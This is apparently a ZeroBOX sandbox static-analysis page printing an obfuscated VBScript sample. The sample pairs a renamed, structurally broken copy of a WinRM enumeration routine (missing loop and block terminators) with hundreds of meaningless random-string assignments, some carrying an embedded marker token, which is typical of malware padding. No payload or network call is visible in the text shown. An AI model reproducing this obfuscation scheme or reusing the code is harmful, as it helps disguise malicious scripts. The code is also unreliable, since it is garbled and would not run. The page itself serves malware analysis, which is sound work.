Static | ZeroBOX

private function conventualidade(mandriar, telephotographia, hidatidocele, tornada, raucissono)

dim filter

dim dialect

dim e

dim res

dim formattedText

dim flags

flags = 0

if hidatidocele.ArgumentExists(NPARA_FILTER) then

filter = hidatidocele.Argument(NPARA_FILTER)

dialect = URI_WQL_DIALECT

end if

if hidatidocele.ArgumentExists(NPARA_DIALECT) then

dialect = hidatidocele.Argument(NPARA_DIALECT)

end if

If LCase(dialect) = "selector" Then

dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"

End If

If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then

dim dict

set dict = ProcessParameterHash(filter)

If dict Is Nothing Then

Exit Function

End If

Dim name

Dim value

filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"

For Each name In dict

value = dict(name)

filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"

filter = filter & "</wsman:SelectorSet>"

End If

If LCase(dialect) = "wql" Then

dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"

End If

If LCase(dialect) = "association" Then

dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"

End If

If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then

If not hidatidocele.ArgumentExists(NPARA_FILTER) Then

ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"

End If

If (hidatidocele.ArgumentExists(NPARA_ASSOCINST)) Then

flags = flags OR mandriar.EnumerationFlagAssociationInstance

Else

flags = flags OR mandriar.EnumerationFlagAssociatedInstance

End if

End If

If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and hidatidocele.ArgumentExists(NPARA_ASSOCINST) ) Then

ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"

End If

if hidatidocele.ArgumentExists(NPARA_RETURN_TYPE) then

select case LCase(hidatidocele.Argument(NPARA_RETURN_TYPE))

case VAL_RT_OBJECT

' default

case VAL_RT_EPR

flags = flags OR mandriar.EnumerationFlagReturnEPR

case VAL_RT_OBJ_EPR

flags = flags OR mandriar.EnumerationFlagReturnObjectAndEPR

case else

ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & hidatidocele.Argument(NPARA_RETURN_TYPE) & " is not a valid option"

end select

end if

if (hidatidocele.ArgumentExists(NPARA_SHALLOW)) then

flags = flags OR mandriar.EnumerationFlagHierarchyShallow

elseif (hidatidocele.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then

flags = flags OR mandriar.EnumerationFlagHierarchyDeepBasePropsOnly

else

flags = flags OR mandriar.EnumerationFlagHierarchyDeep

end if

on error resume next

set e = telephotographia.conventualidade(tornada, filter, dialect, flags)

if Err.Number = T_O then

set e = telephotographia.conventualidade(tornada, filter, dialect, flags)

if Err.Number = T_O then

set e = telephotographia.conventualidade(tornada, filter, dialect, flags)

end if

ASSERTERR telephotographia, raucissono

on error goto 0

if hidatidocele.ArgumentExists(NPARA_TIMEOUT) then

e.Timeout = hidatidocele.Argument(NPARA_TIMEOUT)

end if

if(LCase(raucissono) <> VAL_FORMAT_TEXT) then

wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"

end if

do while Not e.AtEndOfStream

on error resume next

res = e.ReadItem()

if Err.Number = T_O then

res = e.ReadItem()

if Err.Number = T_O then

res = e.ReadItem()

end if

if Err.Number <> 0 then

stdErr.WriteLine e.Error

wscript.echo "</wsman:Results>"

end if

ASSERTERR e, raucissono

on error goto 0

'reformat if requested

on error resume next

err.clear

if not Reformat(res,formattedText,raucissono) then

exit do

end if

wscript.echo formattedText

loop

if(LCase(raucissono) <> VAL_FORMAT_TEXT) then

wscript.echo "</wsman:Results>"

end if

set e = Nothing

conventualidade = ""

end function

RblKxqkfzLQSPim = "moWLJpzUfZKUKLn"

KWcfCjWxGhJmWLm = "mbGfUWPzlqlxCLK"

ccWfAkWukUcfbPB = "NNeiKunaWWtStPW"

eKKZKKkTALiWkWT = "kAWuoqZUkKOpLbL"

WBpdZPKLiTGNBae = "bWuZiGhGLSNPZpq"

cdhmcubtWTLWfuW = "NarmipotentefoLoCLhlWmLm"

ifoWpUPKpcnqpKi = "AlRAqWdZBWAvkZW"

gUeNvKedCPCkWKf = "ibpPmbKoepdpfjG"

WipWsALcBoWpihc = "LtxmaWpidibzAWt"

zLxnmmnWKsTpPug = "hLZbGLifKmGGcUm"

LKeaWieRRpWWidA = "WpBOeCeGcqbhLAL"

jhhWRnnefQZfKvL = "bKUjLkKOQbLLlKq"

codWLWmAWWWqACC = "dxeipuLrncWAWaA"

keLBaWQULbsLCfG = "hbaAZzliRKUUWmA"

fUnLLNkBjPifWNh = "ibKcLKxqPhhkRKu"

zWLLdUWSiLikubg = "beeGhuLTGWNzzUB"

aLcaxbteLdkpkmL = "LkZWkWUhdgWUUcR"

GbtuGngpptLKiGL = "biWUqcLUcCaZUBi"

jIcPmpOGLGuLxZN = "mRikGKGoWoLbWoT"

WGWxWtoxzdgohmk = "OUijWLnKeacbcWI"

NKkeucUuqULOPcI = "LUeWLhloiixxbfN"

LKUzbofoLkoGGri = "kiBuWCWoUhnRmfL"

cQCGGakGutiCLLh = "liipAccuUzOBZbc"

txbQWPWufaipfZq = "itkKLTzUGLepfzh"

zWcBWxBczcKaLvH = "LunmmiZRrGCRIhW"

bHWhqUmGRWiGKWW = "NlQWNKZkxZPkKqW"

eoLAAxPKkLUfdvg = "mWfAmnGeUvtcPkq"

sKiqqNGOSlWogph = "KZkmNAmhWikUteW"

kGmCcefWLkkarpo = "hlcWzmRAhPeGcZp"

xIOPWHkxbRhWflb = "ZWZivoQWippbGic"

RWmAiWTOxAsNiRP = "nkqhLiKZAZkJAHo"

LKZLauTKcWTWOfg = "gWcqTiglapNhWUc"

mkcRkPLLiGJNKcN = "AaNBumaLWekWxWQ"

OLzfdpnvakucbLi = "cSGzkezqQivIthJ"

WGLcWKcsSOfhUOG = "cbZeaPzmhdekfGc"

svkUniGbbKLTLAp = "zubembAeoQWaqzl"

TSHipnWOfgiaWUi = "NTkhmLtTpKnalGL"

oPBdLitLGmLmiiP = "oWzLWONZobWJZcu"

OOZnbLdoaPpZmiL = "sZblPpzWmmkzBGc"

cZAnozWkOkKOAGW = "xLLkCBzbiLfgUWu"

WmnpaRiBWOLWeLK = "TqNGTTnKULolqkG"

hpuHjRWLuIWkdHp = "AacKnPCAGLiQquO"

WPxWLLftJktUjiW = "elhiCftPiULRgCb"

nmnbLRTakeWuNKe = "ZkkSLkQhKxiKxqP"

fzQzTHdtmkbpoGL = "bnjNzilGeeAWOzc"

NiWsGAzlKNiLSeU = "RLUGLzGesvmLGuk"

ZNBLRKBdiqUGLeK = "iLkxWALRWpaPctz"

ZGWhBsricLoLiOb = "qlxGqkfmLxlzffh"

uzWWGLiChWnLfJW = "blKUJUiiARnhbZk"

fLiGkrRWoLaGlhG = "miCdaNmAzqloccl"

zALziKWcuUipfip = "LKKcNRqSiPLKuLl"

ITkWCtislPOtbia = "ebhLUitxLCkLzWf"

LKpAKWfnCJbZLme = "WWalAAOLBorIPfN"

BxpNlzGgKAChemU = "eLKKzelGPLHoKCz"

LjmLWWbGtcePiiL = "CLWaLpaiKRLGfhK"

ctPOdOffiSWxLGl = "WzlepcimLoKCkgr"

ecceuUhicKfBThx = "qjpWGzPkJefLRnP"

KKQLsKLzfsLAcUb = "LaWivaLAnCbKkzh"

udOLKtRpuKdkLcL = "hWobSiRriiKNqii"

lZLdGmmLBfZbjoN = "RbiHiRAOcWPPKZW"

LhWlBiHlgkSULcC = "LOxmCbczIvpkeRG"

ZLzLeLPjLRWbpWW = "KNKPKpzbWbuZucL"

ChUojNGGqLWtQZh = "cuOuciUKcWuxZLW"

WUiAfcoWCAsoTpk = "UcidGOLrRhcLUaI"

KdpfxuobWkOtOWN = "oWUUefcNObKqKLi"

JWcPQUUxIcpidcL = "UtWiWLekAGQcfzm"

LLmmqLzKOTUkiLi = "iGChckjLGiivAZZ"

PGHGiLPKfOqfcLL = "WztupWUASipmqKA"

AcvZchoApQKtZCH = "LOpWtPeuGpWpkeK"

capCmLcAqWtcONa = "lWqLWbSKJKepboL"

itCWOiZziCdeWcn = "WinLLKtaZxLpnUi"

ZBiLaKkLdhLcLRN = "WZLiJZWUZhcNGHh"

NOqLNbcmbjLLjZg = "LqzuBBUetfeWnKd"

zmCmKWWCHLPGtqp = "WRotWqlLhhjKuKU"

GpucqLfnLxchsfp = "tpufAHNnhcPBpfO"

RptearmipotenteqNjKALqkd = "ZNkhAPgRALKaBhC"

NAkonzWLdxkpLZK = "WPqWLWvdvieWWKU"

fczcGcrGvupBLNP = "NtZOiropLxqLRGe"

PzqLkLpAbSGLKPk = "kcLkfLxKUWWkdzN"

QWqbLhRfWLdoinz = "iarmLeKGmLzeHPv"

JkpvRLWKlfBffGP = "cLAUrmWkuTzqKKa"

WPnhGinzZqcUCLG = "cbKvZihokUIfQGG"

bRRoxcCNmbcKraL = "fNRpriLLLzbLKBb"

BWWLeLPqcLUSeaU = "QKpNiNpNZokhict"

eiKLzOxLixWzZie = "eIWUoLnLiOlzcxc"

PAPmWZuilftbKcq = "iLkUPKLWzmcbzts"

QLPtbLilsphKPkx = "ApbnUoeLLzNKnLP"

OfparmipotenteGKpWLbfGeU = "iccbCBlZGcLgTCt"

WdhkBzOibgmarmipotentePK = "SWhWPejZKLWIgBo"

uOLfbvofeZicLHh = "UuohkrjPWKGWAWi"

UNWePeGBZuaeNGp = "BJmKvbPbOUiizGN"

buWBChUxGdcLszc = "kLWfLLvmAgAACgc"

hmGpncJiRtKqkSL = "OkmuWjWhsNKWRvj"

LpUUWWSxGnzxGxI = "kKLpPWKpRkidWhL"

xoucLGeOhAHeGhG = "tLizeoHarmipotenteKcmxvC"

LgibcLeLduWUfgi = "CcGmAKRLUAgLmGL"

znRIWUoanLnLKZz = "tWNcWocKgWtimik"

pAeKAUixKqKzGpi = "NKGuKLkWGZhpCaf"

IZKWziQWTiixinP = "ZLcuohWPPvPnLPi"

RWnPIKxauUiGNzG = "iOkABKnWzLLULiu"

npLWNUCLLbLrvqA = "LeGWcmcTOxpdWPL"

xnPTKNmqkhgGhLZ = "jcitAAmfhhxIkPG"

gijheUKnWjUNtkL = "ecReAiLuWizRLLx"

cUWCkamWcePrULR = "buaKGAoljLLdxNn"

KLcgKHJciCibWIQ = "WhKkPUUGduktoRn"

OmnkWKcUKIucqZf = "kqhSikBqORggxPS"

pckUroKCgZALLSO = "kleNAUBGbLiNcnB"

GRTAoNGZbdxBeiG = "KgAhnWAizLLAdWf"

bpPWWCgjkLzibUi = "WfmocUUipZRsfGC"

WbSLWckNGxHcGhW = "OCWlLzLkzxLWlarmipotente"

CoekkNCeWnAzKeL = "kovicmLmWKiuKWB"

ULgLLfkZfncHcbc = "GAqUOmUGhzRLLaN"

uWGLNtqazLWGZRf = "zqZtBJtBaTOakhL"

TUWfaWnLUWoRCAk = "LUKHSOhciduPbRS"

UmCfLqkukooehep = "PUoNkBLKzAeCPmf"

WxCpoQKxeGTcWWO = "WuseleKGgSppNNC"

aifkLAtkRLcQLWs = "WKlqZiWpGKWzWcN"

ajxJLqBoAeebBzi = "SWJhhcjgvpdLuOi"

boOBrckUcKGGdGL = "UiKtNcHxLRbbASh"

UUZKbLCQHzNPhoa = "lHKRkcmQLbhtxAA"

UiohtANzZWKdaqL = "kAzcKfnGUdacusK"

LIdnKzAckdoWehU = "rCiiJHLIibLckLU"

jWNxohoGGsUhUIu = "pxaBchZJfhOtzTk"

ZulcUktcLAfPWtW = "LAOiueqUHLPCWAo"

ZLubmSWWGkAGNJW = "pikGHAoeLKpWRUi"

BAzJCtLGWJxLPZR = "sKGxZRvGArNocii"

bcWCPxPfZAUPNkz = "gWWWxotoNcGgObz"

BhBebcZtiZmOquW = "LubGsZLaAKkpGQn"

KmdmltOkLLlUcUt = "OdZWeGSWKdarmipotenterhW"

dALHWCBiKLZOkcl = "epaLnbLhGcmSLuc"

rrnWxPKCrPWuoWL = "AiauGiLeKvzLOKn"

kidkkmGiamQWLPh = "ULNxALzNUGbxGaa"

PdbABzZGICikLoO = "cNBGhdkLdLanoQn"

WdLdczHpKTUjWuJ = "pLGemckKfbemWnB"

klIABuTLvKPbJAS = "WeRncouBiGPUqtK"

WGofUKOfZfmZWgo = "NOGGLjpxirGAWKR"

aiAiUKQsJTsZNKd = "zWWLLAfNKfemuKW"

LGehLJouBOWGbGp = "OfZLaldbAKLZuaK"

mkZGGqWebHImGIm = "WUWuqlZbmgGLLok"

BZzRGqZZpPAWOqW = "oWuhGctbokWarmipotenteKO"

RPfarmipotentekhWWQBiUft = "zKZTOLkZWxxcfzm"

WLOfNkNcALlaBhi = "ivrHxLGfGZpZiLU"

zRBNJLpkLLWLmPG = "LSZKCjKxfpLcqWz"

ZPbWUPlveoteCNk = "GWxiiGLqPiGmNch"

NHhUdNRZoihtpma = "LOPoTiWLGtRWZWb"

SLLAfgWLNuKCWZn = "LNpoGPiGAodzkGa"

dzAWacLLAiiWrqh = "aLqZLhhhhvZWNfe"

cRcJciNKGrnLGLA = "cLLmuoZqxeuzcGI"

uWLPNchcxrLLvKm = "upbPUcmPnLAhKLm"

GKUUllWbUUUiqil = "okifKaNebjdGPfo"

BWsnGLLWziWWGiz = "kZLqOKLWiUkWdBa"

oPkiuWoaKRUlhhU = "WuAxLLuLoNcrkuq"

PGicKWLcRlWLWWa = "GflgWIoeWfckWWK"

aadSckPPxnCIkei = "LebffxOCZcnvLbQ"

OktLKimalpkxqii = "LNCGzNAoNixPnzL"

LbbzAfAmBtIQQBq = "hLiUmCANBlbfxLb"

LgeCToKvsPxtJoo = "vZqcoWtRUWpJcWq"

RWacexcKfWcciUL = "WxlbBOePxPiiqWO"

LZvZebbGCQvqiWO = "iWAWLkLKxKhRlLi"

iUNaOicNWxxbLoK = "JnLCmqNUtkCzdKA"

KGhtzkUoKccdqLb = "crzUznHWLTixbqq"

kzkIbuIpWznqeaK = "zkpOLxJtIxGKcbC"

LKtxIcLWrmokpkz = "nmLGBNfJiLhLioP"

pLTjLLtWiGWdRGL = "GWuWaWPOpdUNQLN"

kCLJRWfUWQQQNpL = "GLpPGLzWLiNzBmL"

jKLdqhfKkGLLStL = "ZLjWiKQLemLCjxi"

hQLZcNoqlPLfazc = "cRzkKkqNCbKpjWl"

kWnAPLcqOCbLLpQ = "AhiPONeLKlkGcGW"

BtbIibzlqAhkHGL = "KWPzbTGLIzlZBHp"

xZqzbWeeAbUPAiW = "PcQZWWhkfLiUKIW"

UWoCGSdkLUboSxK = "ocBtKiiSUkpcGSc"

ifGzLqpBhZOAWWa = "cWtaqWWWcOdGkPC"

hGxJhLCCOLabiIb = "oSKPZKUiWlLxAtK"

JclLofQAPqcTZcp = "dZoipLoPLIWpkQk"

LWdKGchmGsTildc = "rnzozpWbJhLhQZW"

WLfRURLGfWiNQWh = "LAILKutWcLLULRq"

lAAfNKGpnKzlPJl = "HsZRhlaGoLkBLSO"

dGGvgigmQGZAIre = "OWApdOQWAuiUinb"

ZULtAcKeLpLfnZU = "ihZBatKiSWqlLPo"

LcnLcWLeLfenLde = "cqUCeKGedGNUPWZ"

NbLIcTPkxaooLUj = "nPfbrqIJNKLUWGZ"

dcJGLfmZiAcWoje = "ecKCNzCWmkcKLKC"

iidiUpGfWLPLCUh = "HdSNKLzHiWcAlfi"

hJWlWzKACiupOAZ = "iuiksWLRckxLeNl"

cWRifONqLhTLiGk = "AuWPZLmPlAhbLTZ"

LiWnetiLxzfCLtL = "UockpzcLerzxGWj"

LiAiHQWnGKQcKCk = "dxmhLQefALnGLfs"

WLfbLNedzUPIBKj = "oQWAzOoKTrhWqfK"

jKUhWcpNjGqcKup = "BdRWflWRlKuLfie"

BplulckbajKNOzc = "iLAcGokKKWxZGWi"

CRdfLWHWBnoRiKx = "izLmLnZWmnQGNUA"

GUqLhOzcscvKriz = "ivkGGWWHGHKZLUK"

SLhiOLWOfWWkcWL = "RiLWpfPeeeLIpPL"

cPiUIOZiWLbUWmf = "cpKqjmGAuGWLeCO"

LUWhfUuOabAxOLc = "baeWkeZjZqclmUb"

WoLWWWbkWLdUUzA = "eziHLbcloeliGpW"

tbnfZaWoffuLsWz = "RKeJGcufLLBcbAe"

UiccLcCQUQzelCR = "UWiNlWzetKxogNd"

KRPxWWKdNgWimkv = "xiGatpmGoifjAiL"

RdvnhCcuLLNWfhe = "SWkTSOflpeoNjmL"

vWWcphPzaBiBHZc = "LGGRmmcdkdKkcih"

noihAzGWcxSpigP = "gKZLWbhULLnWrWW"

NcKiKozcofGctlc = "tLiLLGWWeonBmhz"

RfzZGPLfaGZOGkA = "LLAWKApLWhecKif"

LdRWPGSppcbKWqQ = "rnLaLaesAuOnhCl"

mLpiZhcAzcUILLU = "lGLiCAbALdKrfLS"

bKfgLKOrlfBUQcx = "tOimUmBigexKpph"

CWZZRGZZKUaokWi = "kWlPnLJLLmxcLKe"

znCWfLNiLNTcbeb = "KcpqoWoBLKgCzKh"

eLAKecGSaKmrGLL = "LRGJLNNzKivQcLi"

RxqUbzWPcKoLTGl = "qLmlCdcdKeSAtUx"

BiOULzleNKBKKmO = "vrplehPcbhipoHG"

qmiUjnuKeKKmhzG = "GWLhkGCfWGcWkCc"

zLiLGLPHGNimZtb = "WRUbWUnzfbWIzin"

nLLWGKAPZozcCuT = "oGhWURlfLtGAuBc"

xLGZfuKCIPoKPUk = "NkzmOhCWKehNhcm"

fjHxUpNsivKRjGQ = "LahNChZezknNkao"

ZpsZiZziKicKcLf = "LLsKLmOLLbPoKvu"

ecvAZZsWTKLqUkq = "djWWcehnuekPckj"

WNfcKWnpKhUhxPW = "IjQzPKLcofTAcKi"

NWddopzWfoRxOmA = "uRjaOkrJzebLtvL"

eLfinLvoqLctGJk = "rnWWfWoCGKUBufL"

LTOfloGRLoxNsie = "RjWLLeatAekCidG"

LujjiOQmWilRWGc = "RLLlILNqCdbqcga"

WiuGGLtbhfheicS = "iiAPzoGkaUfUmbU"

GGZnKLLZUGKULbb = "hLoLbloWKoGULfW"

sULWLRPHKbdpIJs = "qGGLnaGBopnCNJU"

LLWeGhmCPLJKjLs = "KZokUfOAfbujCtW"

BUnkRGGBGdNKnct = "pqGdUWGWtPiIxeG"

iKAfLzmHeLPGxZm = "mzGWoCxpqhpApeC"

apfiCWtQLLqiCUW = "BLtBZlCNpGxIONZ"

ujpLeWgAZcxLmLL = "JcaaPhbLKohHGvi"

ipdfiPoiWifLpuK = "GneLxWKGLLWzWOr"

bqRBBUaakRLSudO = "jdvWPPPWdWZcNKf"

KmhckZaKnmLCtcl = "cWikarmipotenteoKGiCUkhG"

IikLbiUGGWmsWGn = "LPSeoTLcxtBRcLU"

BaTtiWRrjzxIust = "CKmzhGLRcfuLNGl"

ZWciPLPnofpeAUW = "JWvGLCOfkoLKkGx"

GbNUlibNhALKfWe = "LiHOdipapkfkpkm"

LUaaLtWRPIPlRZo = "GrKqzgbcbRlHnWZ"

LgSNmWxfuiWPLeK = "KkqKWtxfkeJQOOH"

rOPUrmPGiipiLiC = "ZZPnLzarmipotentefIPAoUT"

UzckaGKnLLoRLqB = "KKIUWRlKxoWrmJS"

NUGLcukkLLpLBLC = "OSugiixKNazknOz"

OKRLCzkWSNGmKWl = "WGJNPPBOLWppTij"

BblUOzGzBWxUWcu = "piixnKdxioZteWo"

pKWchKcGpecKdtn = "qfcOlikZiiCImBq"

LGNbAZxiOizeUzC = "ZUUKKamWLfUGUiK"

oNiHkaCfnTuZGjK = "fmWOKePcqCfOieR"

jczktizGmZtbgKa = "ZlUsOLAWehmbkgj"

WgpRkHLmeQizZxU = "uiWLtKLNRtLkrkT"

WlbKmjUxRUlepWW = "armipotenteHLZjZTOgWScOb"

iaWALmznKcGKzIz = "KemWbpUiaZAqicK"

WWcLWNoUinonZZu = "pmLGzuzfhQpBOKt"

hNiWiNcbJPLzLJt = "LePvUhazKKPqKTa"

LflLGJGILdxWiLf = "ihhKlPRaLLodcRo"

xhGkWBukLBKBoPP = "UjkQgujzdGWkicL"

cUKnbAmUGpfRkLv = "HWWKZKGLvacNxKe"

KoUcKnGhcldihkz = "OccpTACStURtAka"

LGCGiiTQKWisWmL = "nCIPigUZRTGCLNK"

WtisApxKqvLshLi = "OiLlvgiOfohbcbt"

QpGafgjzLKcKnnf = "WeWKWibNWGLiAUh"

LGxWZUHhizGtGQW = "WzcmiexlnGcKpnl"

LutWWOcLLNAmoht = "xWOplOunWPGfWCK"

bLUNaCWlTpPLLuI = "cLktNcQZKKmqiTc"

uNZOpUoGpkGCbje = "WiWsttKipWWnTuL"

iWuWLUCfemicZUN = "cWvGdfUbLvpJpUG"

zCfqGmuKnLWUTqL = "WGfLNikfnNCLApp"

uCNJrLPLcieAdfK = "xUkLfLZKcqiRteK"

PWLqaaqCvNzmhzK = "NjtfcUcGWZZLBBm"

iGZLtLAGWNAzpHW = "momUBhfcrZUsmhN"

CHLfGLqWkOLLktS = "RNogdpUHONirLdr"

TGWLWUCzALcUAoG = "fuciPtatcZKoqUk"

tChZGWKKojnqfLz = "ZeLzqOWPLalAWxm"

GWPAibcPUcKLLCK = "PGZdWBJifOiLgKW"

JWlePLgWBhgWfLB = "WLKaLbhqhxJPLni"

WKddxfeLcoiqLNc = "mWibpILcvWnkbtL"

kLNuTLcSxstOoUm = "LckkvBqRqbKPWck"

zLtLjzNbZxKLibp = "NAPWqRWLkccdhLq"

IZGHejmkbLgbPbG = "cZauiPILfLechGL"

NcJzLNdKPUUtLiQ = "dCcugknkuuWudLo"

UNAZKAhLikLLWlp = "KLiRmoxLWONALoZ"

keBbUNcpodcaPbl = "hKbLUkKGABtWLLG"

GpuWIqPvmKWxzzt = "fOppceSNKGNemik"

WfULbPTkKLKGhnW = "LKnfviAnZURaPnR"

iulqNqCClfLmnqj = "kqpndxigWciRNaC"

zQPJxAohAOhZUUL = "WLcAahiLJPlLsLZ"

UarmipotentefLcPiNWzPZBP = "RiUbUBPLiLiLLLk"

jZAkPiuRWaoiLgh = "xZflTWWzSzIqPeL"

PnmfAiAdGGxuhPc = "NicWWqgcHQKgmsh"

gviNiHWBLWWtbkW = "oLKCIfogfRbiWdi"

NfmbGlqaxNcUBaL = "pWGhukzecekhWRO"

LmpkuLKijpbKkKc = "LNZWTNrABhUKCii"

KKLpldLfBWSuoum = "cZjZKmckfbLiKbp"

zkZitkKRigIaBeA = "hnLfcmfqhLzTkoq"

hOnLAkUKpbTWWre = "qZmGGfLfclznzec"

LbtfiRAWGiUhZZO = "WknxakjItLPblkn"

KfsBWaNPxGijzLm = "APJLolLpZCcoipP"

BzLzWncnuepIiLL = "PKphPGmRfPGpLcL"

ficctALcGjKcWWN = "LLWLQeGWUtaBCfz"

UpWOuOLKWOiGAWr = "LkmmKzcbKphWeLi"

LhLZKoiWCPHcLdP = "ktBaLizWLqKaqAN"

kUiqAWUpxfGCaoo = "ufsUGKPIWqfUePK"

mLaBWgrKmecBoaQ = "hIRNlvKKqUoZWUp"

BZIUpkKmNxovdPA = "eUKRuaKsLAfarmipotenteLB"

biWLvZnuIfixUbR = "uPcmooigtGGAdqW"

PxLoLciUAbPqRro = "iCeAGiLffAGjLkk"

LqLZAaiBKLpZkAI = "TcGacmWBCaKWLGK"

ftzWLHGWomGLqRf = "CUfjizecQCcWCNc"

OlixLkmLkGWPPbj = "CRCPUHplukNfiKH"

LtLiqiLiaplKcir = "LKkofnAoRAqkNkW"

PiomLhLbobzankk = "LPpAvWKZQWPcLpC"

orAfzAdLzZPckLk = "LLbRixKkdNcLqOi"

chJlGhTgNeNWbik = "sQAtitWRNWOjUKL"

hAKSbdAkiGcLxek = "AZJSfWmKWcQUJAU"

fKofnWLkdZaLbLj = "KpmRZGrrLqeHqze"

dbmUhGfaUfeeNrL = "zcKiAWhLBeLGpWb"

RLKeAfWTuUimWtn = "feGjLgWgLLCdUhl"

qecLnfNbpZKnRKL = "iLmKOkZNkHdqWUR"

AoWCOGtinULffiP = "izGxqWUKcPKotoB"

RbiAzTGGzxWWkLB = "GmQdAmZLKWUmPfA"

cloIKRWjrgcPCpk = "eLUhckLWKbOzfcz"

AaAiLhUdLLgLoSB = "LqkzkGcWLRpLcLL"

tfsvobdIUfhCLii = "cjWPWnkdZiBKnKL"

IBLoLmWeUxZLiBU = "kKLxiOoLcZWbOxN"

fmeBWkixUroRqcK = "WiAlWLKWmdfAiNi"

WeftfiJiiNhBhLk = "WicpBmpWfLLtxmW"

xKcZrlvipzqiUib = "tKhdKaLkzjiJRiN"

ztPqNukkGLhlzWJ = "xPAremNiaRGkmLG"

icUAWLKxLKWbhLG = "KCLLoBPimicpqiK"

LdmLPtLcZdaKCzK = "ZLGkOLlLLWPKNbG"

kGmrQUKKGoLWffo = "mmxoZjAWALlLfck"

LcfNKcjNiLHctLC = "jCWPmOKfPhQUcWn"

KlpZWaLAtWAUAcW = "pxcLhIfASRZKTZB"

CWPSaOiexmLuOWn = "LbxlaqiluZpNdCB"

NWOGPKiiApKehdl = "ZPWeLackiWKHcNJ"

hWKWUjLKcUkqBCU = "iaKKqLZRtGNeWLz"

WGWhGLWQloWCceO = "fKRWUKkUbcnishP"

WxiUlCWrhdkOLed = "WjWSUcnGURiZNNk"

nfWCNUWdpstmtUh = "gWkZPfKkkkziKbq"

cuKLarmipotenteLpZcnBeeU = "fqebcUflooPLcek"

cLcWnKiOOiqLWah = "uTlmAOPxWQWLckm"

ALhmkZtcUGxfdpi = "eebBWkAiiBhpqak"

TcouGcBLvmSOLbK = "WLNmcdJziGlULkq"

miPpttWWoGWKiWk = "iLiogzBGssJxWfG"

qcHlxdzeWgUbpbs = "xLzZzKARuWToKlc"

zLiSuCiKSLNGpWc = "zupdlhUPzxkBGrm"

vKOzzhiWqWeiKZK = "uIeCfcGApihKLUj"

aLuBptGWPieWBbO = "LiagxKLfRbeGigJ"

tKpPLbGetLzphjB = "ZGCLCktkLJTxUWW"

LniWPcKmnikeGOh = "iJlcLkWmreuLiWJ"

GednUnmLnbBabxr = "WipLjUNzWiLWiWW"

NRtiGPiOuecfxfb = "rkHtuKzclLRUmuo"

BliLpeOoxbLarmipotentekk = "GearmipotenteZiulddomLde"

cRAoxoWUohzhHtj = "bjAWPcmUokgkvkl"

WUckWNgZLjWWSGR = "pZtLimUlHPougqA"

BGKRzGLxqdkoKGn = "LmCWRvLLlpdNatL"

nBmiKvfhUUhTaLc = "bQLKPcWlLZdWcKB"

BQLnQTWAcpeLnRq = "WsiAbmziWBpkOkz"

uKnKLpoAihiKpGU = "bofzCWtGzTofBKP"

oxfabWkpuGLcLpb = "WLGmBNKWIbULiGb"

ofWeNssGWkOliLW = "WmqiCTLzQodoiAW"

loKvUkeLKpcdkUx = "skIKuKLWotlOLUc"

zteIUiicAdCBKbi = "rzhtiaGNppehPhd"

qcLtkKhGzxSKgtL = "PfpmkLWtLtzkLbK"

RmLcdWKteKKldhZ = "WzkKGAAvueBumkC"

lcLfnekKpAejcci = "KRomCicLWouZieT"

LSkkroZbebutLzd = "itibGPGQinWokHu"

fNreWiecpkuWGWi = "cWPNzxGWtWLGtWZ"

gLCHamPdtNusCLi = "JAhWRJQIfChWpKc"

RZLWPcWPZeZcxfi = "cWkgdbiUgmHKeUd"

sZsiichGpkcIOnr = "UAcmtLdkbLLchWh"

LxWmCiKcLiWiGvO = "JnxinmRebxdLWUS"

fUgcioLKRGuRfcW = "ilcLOWUcpILzBLQ"

cbCOdbZLLpcRWGI = "WzctKfeiJxqHcAl"

WhiKNAkxPeputeW = "LccWOaeaWLKlkaW"

cLahLcKhaKpJkeW = "eZbZzGWunvPLigc"

WCIKRnfhKJBfWBq = "iLrAfZazhqNfalL"

KzcqeipfgaHjpko = "KmmbkGLdPIQLWlm"

BKGHKBzLenBZlAL = "UiuuQnCKthttUAc"

HLhvKjiLWLSzcOH = "bjzfctZCebLCGdx"

ioiNNPcczsLQcON = "zlspNiLjmWrKBKe"

ktqlTzKfKPoKfhc = "spGLfAharmipotentecWTfhx"

hCSmWLHvrLGuhNO = "bflldLKGLKHLgKL"

WCSPcdZkteOLKtC = "ZkQNfuLcetSZLLC"

WfhWUcLmiNmidqK = "RmqmZAUcLCNChpL"

lLRGhWGBkJabeZG = "NOPhWkiGzLCnjbl"

iihiczUkNcoLLWk = "HebBcvnJcALsTcK"

LWmLWrlZzJeWLCK = "WcGUixGIcLLiZzc"

iGULmPpPGxNBuLs = "CLiSGWcdUCAoNgL"

vcWULABWmGKGANW = "lLlUdkzhzAPLLai"

cbBUzdNWLTiSqtZ = "nnhidfKukcplZZT"

KZkKWjkGRLCKGbr = "GWpLGpmfNrxWjdG"

LZPoKZnGmQuCbLb = "kUHGdchJSBWcGGW"

ZgsPWNccoKUbdNU = "BGccGzRCWoUtLOd"

kKPAlWUCGcxiQKL = "xkWLWxuIGtiWqnq"

ldrtNhlWKCjNRGK = "LoWPexqZUKGLmQG"

SLKOaWKhtTLAcks = "UcsGcihIekNNBJh"

LKofzCeBhmGgnLW = "IRKshUkehlbkIOh"

TiBUkcGRUiiLAWU = "WKoZueiLmWxLNSO"

KnqmCWcAKinULHq = "AWkWccuctpSumiL"

ibNqAAWeceTpomW = "BLveGWmoNiiimLo"

KUWhPbxCtWWbRme = "LhcjbtcIZmUeWKW"

AxlohlxLeBkicAA = "xAUlKPLGzeWAOka"

PdcfxOKqmpKWKNc = "dKBLfefuZmTplCB"

iApKUUxolibApWi = "GjbUKlludeiKWiq"

